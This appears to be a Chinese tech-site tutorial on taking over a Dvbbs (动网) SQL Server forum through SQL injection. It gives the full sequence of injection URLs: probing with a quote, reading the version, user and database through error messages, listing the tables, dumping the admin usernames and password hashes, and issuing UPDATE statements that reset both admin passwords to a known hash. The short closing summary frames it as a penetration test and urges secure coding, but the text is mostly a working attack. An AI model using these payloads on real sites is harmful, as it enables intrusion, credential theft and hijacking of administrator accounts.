上一篇:渗透攻击(NT/2000系统) >>
动网SQL版-不得不说的问题
一、 首先确定目标。假设以下url存在sql注入:
http://www.loveyou.com/type.asp?id=6 测试能否注入可以在6后面加个单引号。
http://www.loveyou.com/type.aspid=6' 返回错误提示:
microsoft ole db provider for odbc drivers 错误 '80040e14'
[microsoft][odbc sql server driver][sql server]字符串 '' 之前有未闭合的引号。
继续,先探测一下系统版本:
http://www.loveyou.com/type.asp?id=(select @@version)--
返回: microsoft ole db provider for odbc drivers 错误 '80040e07'
[microsoft][odbc sql server driver][sql server]将 nvarchar 值 'microsoft sql server 2000 - 8.00.760 (intel x86) dec 17 2002 14:22:05 copyright (c) 1988-2003 microsoft corporation standard edition on windows nt 5.0 (build 2195: service pack 4) ' 转换为数据类型为 int 的列时发生语法错误。
看来已经打上最新的sp4补丁。
取得当前连接数据库用户:
http://www.loveyou.com/type.asp?id=(select user_name())--
返回:microsoft ole db provider for odbc drivers 错误 '80040e07'
[microsoft][odbc sql server driver][sql server]将 nvarchar 值 'webuser' 转换为数据类型为 int 的列时发生语法错误。
从错误信息中得到当前数据库用户为:webuser
取得当前连接数据库名:
http://www.loveyou.com/type.asp?id=(select db_name())--
返回:microsoft ole db provider for odbc drivers 错误 '80040e07'
[microsoft][odbc sql server driver][sql server]将 nvarchar 值 '01city' 转换为数据类型为 int 的列时发生语法错误。
从错误信息中得到当前数据库名为: 01city
接下来测试下权限:(注:因为我们的目的是搞定动网而不是侵占系统。所以数据库权限对我们不是很重要。)
http://www.loveyou.com/type.asp?id=(select is_srvrolemember('sysadmin'))--
返回错误信息。提示当前记录已删除。看来权限果然不是很高耶。继续,
http://www.loveyou.com/type.asp?id=(select%20is_member('db_owner'))--
正常显示信息,看来连接数据库拥有的权限是db_owner(down数据库所有者。但对操纵数据是绰绰有余了。
二.得到数据库表名。不出意外的话动网的各个表就存在于当前数据库01city中。
首先得到第一个表
:
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in(''))--
返回:[microsoft][odbc sql server driver][sql server]将 nvarchar 值 'address' 转换为数据类型为 int 的列时发生语法错误。
好的,第一个表名出来了,为: address
继续,
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in('address'))--
返回: admin 第二个表名也出来了。依次类推, 提交:
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in('address','admin',...))--
可以得到当前数据库中所有表名。
不一会儿,结果出来了, 表名好眼熟啊。
"address","admin","bbslink","bbsnews","board","user".........傻瓜都看的出这是动网的表。当然还有其它的一些表,我们不去管它。
接下来就好办了,也不要去猜字段了,我们打开自己的动网数据库看一下就知道了。 既然有了表名,字段名,那么,动网不就在你掌握之下了吗? 但千万不要 drop table啊。 破坏就不好了。我们的目的是演练技术,提高水平。 好,那么,我们去得到动网的后台。
三、进入后台,取得动网论坛管理员权限。
先看看后台有多少个管理员:
http://www.loveyou.com/type.asp?id=6 and 4=(select count(username) from admin)--
返回错误: 当前的记录已被删除。说明管理员少于4位。直接提交,
http://www.loveyou.com/type.asp?id=6 and 1=(select count(username) from admin)--
正常显示信息,看来管理员只有一个,读出管理员名字,
http://www.loveyou.com/type.asp?id=(select username from admin)--
出来了,管理员后台登陆名为: 01city
继续读出管理员后台登陆密码:
http://www.loveyou.com/type.asp?id=(select password from admin)--
很顺利,密码为: e7cc01be0e33a273
是md5加密过的。难道要去破解它吗? 别急,根本不需要去破md5密码。
由于动网后台管理是cookie+session认证。所以只有管理员在前台登陆才可以进后台管理,一般用户是无法进后台管理的。即使后台用户和密码都知道的情况下也一样。所以我们还要取得前台管理的用户和密码。 这个很容易,在他论坛注册一个用户查看一下管理团队,得出,前台管理用户为: admin
好,得到他的密码:
http://www.loveyou.com/type.asp?id=(select userpassword from user where username='admin')--
返回,admin的前台密码为:e7cc01be0e33a273
同样是md5的。 现在利用cookie欺骗可以登陆它的前台管理了。但是还有别的办法吗?别忘了现在我们可是对它的数据库拥有生杀大权哦。聪明的你可能想到了,对 ,就是,update。 我们来提交:
http://www.loveyou.com/type.asp?id=6;update user set userpassword='49ba59abbe56e057' where username='admin';--
正常返回信息,应该成功执行了,查看一下:
http://www.loveyou.com/type.asp?id=(select userpassword from user where username='admin')--
返回值为: 49ba59abbe56e057
更改密码成功,说明一下,这个16位md5是预先算好的。你要知道它的明文密码。
那么同样的,我们更改一下后台的管理密码.先把后台用户改成和前台用户一样的,提交:
http://www.loveyou.com/type.asp?id=6;update admin set username='admin' where username='01city'--
查看一下:
http://www.loveyou.com/type.asp?id=(select username from admin)--
更改成功,后台管理员现在已变成:admin 接下来更改密码,提交:
http://www.loveyou.com/type.asp?id=6;update admin set password='49ba59abbe56e057' where username='admin'--
查看一下:
http://www.loveyou.com/type.asp?id=(select password from admin)--
更改成功,后台管理员密码已经变成:49ba59abbe56e057
到这里为止,动网已彻底沦陷。你可以用admin登陆前台然后再用相同的密码进后台管理了。
四、总结
就这样并不算太艰难的实现了对动网的控制。通过这次善意的渗透测试,也暴露出sql injection攻击的可怕性。而对于iis+asp+sql2000的虚拟主机来说简直就是防不胜防。只要主机上有一个sql注入点的话,动网就将面临灭顶之灾了。而其实从服务器庞大的网站程序中找一个这样的sql注入点并不算难事.正应征了一句老话:千里之堤,溃于蚁穴。所以防范这样的攻击的最好办法是加强程序代码的安全性。安全是个整体,任何细微的错误都有可能导致严重后果。
()
下一篇:让多套Windows之间的文件共享 >>
相关文章:
- · 如何确定你的xp是不是原版
- · SQL Server数据库安全规划全攻略
- · 黑客通过网页窃取QQ方法解析
- · serv-U FTP软件的攻击防守
- · 开启网络终端连接最简单的方法
- · FreeBSD ipfw 防火墙基础指南
- · ping 命令的用法大全
- · WindowsXP蓝屏解决技巧大揭秘
- · Win XP后台打印文件夹位置任意定
- · 用注销脚本清除上网痕迹
- · 打造“苹果”版Win XP系统
- · 动网SQL版-不得不说的问题
- · 献给初学破解人的口诀和指令
- · Windows操作系统快捷键大全
- · 穿透防火墙的数据传输方法(附源码)
- · Voip全面介绍
- · 谁更美丽?两款XP主题美化软件对比
- · 禁用“命令提示符”
- · 快速确定特定端口的使用程序
- · Google你的Windows安全漏洞
- · phpBB Knowledge Base模块SQL注入和完整路径泄露漏洞
- · 巧用批处理实现windows xp/windows2003进程和端口关联
- · 了解开源协议:常用开源协议解析
- · linux的用户和用户组的管理
- · 黑客入门常用的八种安全工具
- · 网络协议x全集
- · 323个精品小工具软件合集
- · linux像老婆,windows像妓女
- · QQ杀手病毒的手工清除方法
- · 恶意网页修改注册表的12种现象
- · 管好网络从用活IP地址开始
- · cmd下修改注册表完全攻略
- · 精确计算WinXP所需的虚拟内存
- · Win注册表另类自启动
- · FreeBSD忘记root密码的一次修复
- · 玩玩网吧别人的机器,玩玩网吧主机的数据库
- · 小规模DDoS用Freebsd+IPFW搞定
- · 用ADSL免代理共享上网
